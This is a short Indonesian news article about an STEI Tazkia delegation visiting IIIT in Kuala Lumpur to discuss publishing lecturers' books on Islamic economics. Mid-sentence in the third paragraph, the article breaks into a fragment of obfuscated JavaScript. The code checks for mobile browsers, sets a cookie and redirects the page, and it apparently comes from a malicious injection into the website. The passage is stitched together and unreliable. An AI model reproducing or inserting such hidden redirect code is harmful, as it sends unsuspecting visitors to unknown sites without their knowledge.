Kunjungan ini mendiskusi kerjasama penerbitan antara Tazkia Press (STEI Tazkia) dengan pihak IIIT . Pihak STEI Tazkia mengajukan 10 Judul buku yang nantinya akan diseleksi untuk diterbitkan di lembaga penerbitan bertaraf internasional ini. Dr. Jamil menyebutkan bahwa proses penerbitan di lembaganya dilakukan dengan seleksi yang sangat ketat, khsususnya untuk isu-isu Islamisasi ilmu pengetahuan. Hal ini karena banyak akrya ilmiah yang ada tidak memiliki ruh dan islamic worldview yang jelas. Beliau berharap STEI Tazkia selalu istiqamah dalam upaya melakukan islamisasi ilmu pengetahuan khususnya dalam bidang ekonomi Islam. Salah satunya adalah dengan menerbitkan karya ilmiah dan buku para dosennya.


Dr. Murniati Mukhlisin menyampaikan bahwa penulisan buku teks khususnya bagi para dosen di STEI Tazkia terus digalakkan. a�?Kami sangat mendorong para dosen untuk menghasilkan karya yang nantinya akan menjadi buku daras tidak hanya bagi mahasiswa Tazkia namun juga bagi kampus lainnyaa�?. Hal ini diaminkan oleh Dr. Abdurrahman Misno BP, MEI, selaku Kepala Program Studi Hukum Ekonomi Syariah (Muamalah) yang juga menjadi anggota dalam kunjungan ini. Ia mengungkapkan bahwa publikasi yang baik diawali dengan riset mendalam serta seni dalam menyusun sebuah karya ilmiah.
Hasil dari kunjungan ini adalah dilakukan kerjasama untk terus meningkatkan publikasi artikel dan buku para dosen dan civitas akademika STEI Tazkia tidak hanya bagi internal namun juga untuk pihak eksteral dan bertaraf international. Inilah cita-cita STEI Tazkia untuk menjadi perguruan tinggi kelas dunia yang memiliki spesialisasi dalam bidang ekonomi Islam. Drm. i(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaRombongan STEI Tazkia Mengunjungi International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia
read more